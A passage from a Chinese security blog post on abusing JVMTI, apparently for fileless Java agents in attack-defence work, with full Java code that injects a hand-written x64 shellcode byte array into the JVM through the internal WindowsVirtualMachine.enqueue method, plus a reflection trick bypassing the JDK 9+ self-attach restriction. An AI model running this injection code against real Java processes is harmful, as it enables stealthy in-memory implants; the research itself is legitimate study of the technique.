我们的Shellcode注入的是一个C++线程,此时是没有跟Java进程进行绑定,所以拿到的JNIEnv是不可用的,因此需要在执行GetEnv函数前后进行绑定和解绑。这里我看到的相关文章都没有介绍需要绑定,也卡了很久,后面看rebeyond师傅的Shellcode进行对比,发现是少调用了这两个函数。

同样的,在编写Shellcode的时候最让人头疼的就是要检查堆栈平衡,在Java层运行Shellcode如果出错,是没有任何提示的,因为是动态注入Debug都不知道下哪里,还有需要注意的是LoadLibraryA函数加载jvm.dll的时候,要分两次压栈。

最终测试代码如下:

package javaTest;
import java.lang.reflect.Field;import java.lang.reflect.Method;import sun.tools.attach.HotSpotVirtualMachine;
import sun.misc.Unsafe;
public class Hello { public static void main(String[] args) throws Exception { System.loadLibrary("attach"); Class cls=Class.forName("sun.tools.attach.WindowsVirtualMachine"); Unsafe unsafe = null; try { Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe"); field.setAccessible(true); unsafe = (sun.misc.Unsafe) field.get(null); } catch (Exception e) { throw new AssertionError(e); } //伪造JPLISAgent结构时,只需要填mNormalEnvironment中的mJVMTIEnv即可,其他变量代码中实际没有使用 long JPLISAgent = unsafe.allocateMemory(0x1000); getJPLISAgent(cls,JPLISAgent); System.out.println("[+] JPLISAgent address is: 0x" + Long.toHexString(JPLISAgent)); long native_jvmtienv=unsafe.getLong(JPLISAgent+8); System.out.println("[+] native_jvmtienv address is: 0x" + Long.toHexString(native_jvmtienv)); } public static void getJPLISAgent(Class cls,long JPLISAgent) throws Exception { for (Method m:cls.getDeclaredMethods()) { if (m.getName().equals("enqueue")) { long hProcess=-1; byte buf[] = new byte[] { (byte) 0x48,(byte) 0x81,(byte) 0xEC,(byte) 0x28,(byte) 0x01,(byte) 0x00,(byte) 0x00,(byte) 0x48,(byte) 0x83,(byte) 0xE4,(byte) 0xF0,(byte) 0x65,(byte) 0x48,(byte) 0x8B,(byte) 0x04,(byte) 0x25,(byte) 0x60,(byte) 0x00,(byte) 0x00,(byte) 0x00,(byte) 0x48,(byte) 0x8B,(byte) 0x40,(byte) 0x18,(byte) 0x48,(byte) 0x8B,(byte) 0x40,(byte) 0x30,(byte) 0x48,(byte) 0x8B,(byte) 0x70,(byte) 0x10,(byte) 0x48,(byte) 0x8B,(byte) 0x58,(byte) 0x40,(byte) 0x48,(byte) 0x8B,(byte) 0x00,(byte) 0x81,(byte) 0x3B,(byte) 0x4B,(byte) 0x00,(byte) 0x45,(byte) 0x00,(byte) 0x75,(byte) 0xED,(byte) 0x81,(byte) 0x7B,(byte) 0x04,(byte) 0x52,(byte) 0x00,(byte) 0x4E,(byte) 0x00,(byte) 0x75,(byte) 0xE4,(byte) 0x81,(byte) 0x7B,(byte) 0x08,(byte) 0x45,(byte) 0x00,(byte) 0x4C,(byte) 0x00,(byte) 0x75,(byte) 0xDB,(byte) 0x81,(byte) 0x7B,(byte) 0x0C,(byte) 0x33,(byte) 0x00,(byte) 0x32,(byte) 0x00,(byte) 0x75,(byte) 0xD2,(byte) 0x48,(byte) 0x8B,(byte) 0xC6,(byte) 0x48,(byte) 0x85,(byte) 0xC0,(byte) 0x0F,(byte) 0x84,(byte) 0xEF,(byte) 0x00,(byte) 0x00,(byte) 0x00,(byte) 0x48,(byte) 0xC7,(byte) 0xC1,(byte) 0x61,(byte) 0x72,(byte) 0x79,(byte) 0x41,(byte) 0x51,(byte) 0x48,(byte) 0xB9,(byte) 0x4C,(byte) 0x6F,(byte) 0x61,(byte) 0x64,(byte) 0x4C,(byte) 0x69,(byte) 0x62,(byte) 0x72,(byte) 0x51,(byte) 0x48,(byte) 0x8B,(byte) 0xD4,(byte) 0x48,(byte) 0x8B,(byte) 0xC8,(byte) 0x48,(byte) 0x83,(byte) 0xEC,(byte) 0x30,(byte) 0xE8,(byte) 0xD5,(byte) 0x00,(byte) 0x00,(byte) 0x00,(byte) 0x48,(byte) 0x83,(byte) 0xC4,(byte) 0x30,(byte) 0x48,(byte) 0x83,(byte) 0xC4,(byte) 0x10,(byte) 0xB9,(byte) 0x6C,(byte) 0x6C,(byte) 0x00,(byte) 0x00,(byte) 0x51,(byte) 0x48,(byte) 0xC7,(byte) 0xC1,(byte) 0x6A,(byte) 0x76,(byte) 0x6D,(byte) 0x00,(byte) 0x51,(byte) 0x48,(byte) 0x8B,(byte) 0xCC,(byte) 0x48,(byte) 0x83,(byte) 0xEC,(byte) 0x30,(byte) 0xFF,(byte) 0xD0,(byte) 0x48,(byte) 0x83,(byte) 0xC4,(byte) 0x30,(byte) 0x48,(byte) 0x83,(byte) 0xC4,(byte) 0x10,(byte) 0x48,(byte) 0xB9,(byte) 0x76,(byte) 0x61,(byte) 0x56,(byte) 0x4D,(byte) 0x73,(byte) 0x00,(byte) 0x00,(byte) 0x00,(byte) 0x51,(byte) 0x48,(byte) 0xB9,(byte) 0x72,(byte) 0x65,(byte) 0x61,(byte) 0x74,(byte) 0x65,(byte) 0x64,(byte) 0x4A,(byte) 0x61,(byte) 0x51,(byte) 0x48,(byte) 0xB9,(byte) 0x4A,(byte) 0x4E,(byte) 0x49,(byte) 0x5F,(byte) 0x47,(byte) 0x65,(byte) 0x74,(byte) 0x43,(byte) 0x51,(byte) 0x48,(byte) 0x8B,(byte) 0xD4,(byte) 0x48,(byte) 0x8B,(byte) 0xC8,(byte) 0x48,(byte) 0x83,(byte) 0xEC,(byte) 0x28,(byte) 0xE8,(byte) 0x7E,(byte) 0x00,(byte) 0x00,(byte) 0x00,(byte) 0x48,(byte) 0x83,(byte) 0xC4,(byte) 0x28,(byte) 0x48,(byte) 0x83,(byte) 0xC4,(byte) 0x18,(byte) 0x4C,(byte) 0x8B,(byte) 0xF8,(byte) 0x48,(byte) 0x83,(byte) 0xEC,(byte) 0x28,(byte) 0x48,(byte) 0x8B,(byte) 0xCC,(byte) 0xBA,(byte) 0x01,(byte) 0x00,(byte) 0x00,(byte) 0x00,(byte) 0x4C,(byte) 0x8B,(byte) 0xC1,(byte) 0x49,(byte) 0x83,(byte) 0xC0,(byte) 0x08,(byte) 0x48,(byte) 0x83,(byte) 0xEC,(byte) 0x30,(byte) 0x41,(byte) 0xFF,(byte) 0xD7,(byte) 0x48,(byte) 0x83,(byte) 0xC4,(byte) 0x30,(byte) 0x48,(byte) 0x8B,(byte) 0x09,(byte) 0x48,(byte) 0x83,(byte) 0xEC,(byte) 0x20,(byte) 0x54,(byte) 0x48,(byte) 0x8B,(byte) 0xD4,(byte) 0x4D,(byte) 0x33,(byte) 0xC0,(byte) 0x4C,(byte) 0x8B,(byte) 0x39,(byte) 0x4D,(byte) 0x8B,(byte) 0x7F,(byte) 0x20,(byte) 0x4C,(byte) 0x8B,(byte) 0xF1,(byte) 0x41,(byte) 0xFF,(byte) 0xD7,(byte) 0x49,(byte) 0x8B,(byte) 0xCE,(byte) 0x48,(byte) 0xBA,(byte) 0x11,(byte) 0x22,(byte) 0x33,(byte) 0x44,(byte) 0x55,(byte) 0x66,(byte) 0x77,(byte) 0x88,(byte) 0x41,(byte) 0xB8,(byte) 0x00,(byte) 0x02,(byte) 0x01,(byte) 0x30,(byte) 0x4D,(byte) 0x8B,(byte) 0x3E,(byte) 0x4D,(byte) 0x8B,(byte) 0x7F,(byte) 0x30,(byte) 0x48,(byte) 0x83,(byte) 0xEC,(byte) 0x20,(byte) 0x41,(byte) 0xFF,(byte) 0xD7,(byte) 0x48,(byte) 0x83,(byte) 0xC4,(byte) 0x20,(byte) 0x49,(byte) 0x8B,(byte) 0xCE,(byte) 0x4D,(byte) 0x8B,(byte) 0x3E,(byte) 0x4D,(byte) 0x8B,(byte) 0x7F,(byte) 0x28,(byte) 0x41,(byte) 0xFF,(byte) 0xD7,(byte) 0x48,(byte) 0x81,(byte) 0xC4,(byte) 0x78,(byte) 0x01,(byte) 0x00,(byte) 0x00,(byte) 0xC3,(byte) 0x48,(byte) 0x89,(byte) 0x5C,(byte) 0x24,(byte) 0x08,(byte) 0x48,(byte) 0x89,(byte) 0x6C,(byte) 0x24,(byte) 0x10,(byte) 0x48,(byte) 0x89,(byte) 0x74,(byte) 0x24,(byte) 0x18,(byte) 0x48,(byte) 0x89,(byte) 0x7C,(byte) 0x24,(byte) 0x20,(byte) 0x41,(byte) 0x56,(byte) 0x48,(byte) 0x63,(byte) 0x41,(byte) 0x3C,(byte) 0x45,(byte) 0x33,(byte) 0xD2,(byte) 0x48,(byte) 0x8B,(byte) 0xF2,(byte) 0x48,(byte) 0x8B,(byte) 0xD9,(byte) 0x44,(byte) 0x8B,(byte) 0x84,(byte) 0x08,(byte) 0x88,(byte) 0x00,(byte) 0x00,(byte) 0x00,(byte) 0x4C,(byte) 0x03,(byte) 0xC1,(byte) 0x45,(byte) 0x8B,(byte) 0x58,(byte) 0x20,(byte) 0x41,(byte) 0x8B,(byte) 0x68,(byte) 0x24,(byte) 0x4C,(byte) 0x03,(byte) 0xD9,(byte) 0x45,(byte) 0x8B,(byte) 0x70,(byte) 0x1C,(byte) 0x48,(byte) 0x03,(byte) 0xE9,(byte) 0x41,(byte) 0x8B,(byte) 0x78,(byte) 0x18,(byte) 0x4C,(byte) 0x03,(byte) 0xF1,(byte) 0x85,(byte) 0xFF,(byte) 0x74,(byte) 0x32,(byte) 0x41,(byte) 0x8B,(byte) 0x0B,(byte) 0x4C,(byte) 0x8B,(byte) 0xCE,(byte) 0x48,(byte) 0x03,(byte) 0xCB,(byte) 0x4C,(byte) 0x2B,(byte) 0xC9,(byte) 0x44,(byte) 0x0F,(byte) 0xB6,(byte) 0x01,(byte) 0x42,(byte) 0x0F,(byte) 0xB6,(byte) 0x14,(byte) 0x09,(byte) 0x44,(byte) 0x2B,(byte) 0xC2,(byte) 0x75,(byte) 0x07,(byte) 0x48,(byte) 0xFF,(byte) 0xC1,(byte) 0x85,(byte) 0xD2,(byte) 0x75,(byte) 0xEB,(byte) 0x45,(byte) 0x85,(byte) 0xC0,(byte) 0x74,(byte) 0x25,(byte) 0x41,(byte) 0xFF,(byte) 0xC2,(byte) 0x49,(byte) 0x83,(byte) 0xC3,(byte) 0x04,(byte) 0x44,(byte) 0x3B,(byte) 0xD7,(byte) 0x72,(byte) 0xCE,(byte) 0x33,(byte) 0xC0,(byte) 0x48,(byte) 0x8B,(byte) 0x5C,(byte) 0x24,(byte) 0x10,(byte) 0x48,(byte) 0x8B,(byte) 0x6C,(byte) 0x24,(byte) 0x18,(byte) 0x48,(byte) 0x8B,(byte) 0x74,(byte) 0x24,(byte) 0x20,(byte) 0x48,(byte) 0x8B,(byte) 0x7C,(byte) 0x24,(byte) 0x28,(byte) 0x41,(byte) 0x5E,(byte) 0xC3,(byte) 0x42,(byte) 0x0F,(byte) 0xB7,(byte) 0x4C,(byte) 0x55,(byte) 0x00,(byte) 0x41,(byte) 0x8B,(byte) 0x04,(byte) 0x8E,(byte) 0x48,(byte) 0x03,(byte) 0xC3,(byte) 0xEB,(byte) 0xDA }; byte[] stub=new byte[]{(byte) 0x11, (byte) 0x22, (byte) 0x33, (byte) 0x44, (byte) 0x55, (byte) 0x66,(byte) 0x77, (byte) 0x88}; int index = kmp(buf, stub); byte[] byteTarget = long2ByteArray_Little_Endian(JPLISAgent+8,8); //64位机器偏移位长度为8 System.arraycopy(byteTarget, 0, buf, index, byteTarget.length);
System.out.println(); String text="enqueue";String pipeName="enqueue"; m.setAccessible(true); m.invoke(cls,new Object[]{hProcess,buf,text,pipeName,new Object[]{}}); }

} } /** * long 转字节数组,小端 */ public static byte[] long2ByteArray_Little_Endian(long l,int length) {
byte[] array = new byte[length];
for (int i = 0; i < array.length; i++) { array[i] = (byte) (l >> (i * 8)); } return array; } /** * KMP 匹配 */ public static int kmp(byte[] str, byte[] dest){ //1.首先计算出 部分匹配表 int[] next = kmpnext(dest);
//2.查找匹配位置 for(int i = 0, j = 0; i < str.length; i++){ while(j > 0 && str[i] != dest[j]){ j = next[j-1]; } if(str[i] == dest[j]){ j++; } if(j == dest.length){ return i-j+1; } } return -1; }
/** * 计算部分匹配表 */ public static int[] kmpnext(byte[] dest){ int[] next = new int[dest.length]; next[0] = 0;
for(int i = 1,j = 0; i < dest.length; i++){ while(j > 0 && dest[j] != dest[i]){ j = next[j - 1]; } if(dest[i] == dest[j]){ j++; } next[i] = j; } return next; }}

利用JVMTI实现JAR包加密


不过好像在JDK 9以后的版本中,需要用户自己修改HotSpotVirtualMachine的ALLOWATTACHSELF字段。其绕过方式如下:

Class cls=Class.forName(“sun.tools.attach.HotSpotVirtualMachine”);
Field field1=cls.getDeclaredField(“ALLOW_ATTACH_SELF”);
field1.setAccessible(true);
Field modifiersField=Field.class.getDeclaredField(“modifiers”);
modifiersField.setInt(field1,field1.getModifiers()&~Modifier.FINAL);
field1.setBoolean(null,true);

但这种方式在JDK 12的版本就不行了,后续我又找到Skay写的一篇文章:https://mp.weixin.qq.com/s/DDPI6fWMF4k_x1p67mI21w

文中介绍了一种JDK9-17的绕过方式,感兴趣的读者可以看看。


写在最后

这次原本是想学习一下无文件Agent是如何实现的,为此还读了下JVM加载Agent部分的源码,从底层加载过程到加密Jar包的应用,以及在攻防场景中的对抗,也算是比较系统的介绍了JVMTI。

最印象深刻的地方应该就是编写ShellCode环节,熟悉x64dbg的人应该会留意到,右下角这个时间只有在真正调试的时候才会计算,而我打开累计的时间有1天1小时37分钟了。要么是函数调用出错,要么就是堆栈不平衡,当然还有rbx写成rdx找半天的情况- -。

也算是给后来的安全研究人员提个醒吧,一定得多多检查!!

利用JVMTI实现JAR包加密


根据相关法律法规,这里就不再放出exp了。


Reference

[1].https://blog.csdn.net/m0_37695902/article/details/118387651

[2].https://tech.meituan.com/2019/11/07/java-dynamic-debugging-technology.html

[3].https://blog.csdn.net/heishiyuriyao/article/details/51159612

[4].https://www.cnblogs.com/xyylll/p/15515254.html

[5].https://www.cnblogs.com/rebeyond/p/16691104.html

[6].https://mp.weixin.qq.com/s/ulINOH4BnwfR7MBc6r5YHQ

[7].https://tttang.com/archive/1525/

[8].https://bbs.pediy.com/thread-149527.htm

[9].https://mp.weixin.qq.com/s/px3PgV_fJTiopGo2Wi0gwg

[10].https://nytrosecurity.com/2019/06/30/writing-shellcodes-for-windows-x64/

版权为凌日实验室所有,未经授权其他平台请勿转载


凌日实验室公众号征集,实战攻防,代码审计,安全武器开发等技术输出文章,稿费500-10000不等,投稿联系微信号:FeiyeDomain,一经采纳,还可以拿到进入内部群的资格哦,欢迎大家踊跃投稿



原文始发于微信公众号(凌日实验室):利用JVMTI实现JAR包加密

版权声明:admin 发表于 2022年10月11日 上午10:01。
转载请注明:利用JVMTI实现JAR包加密 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...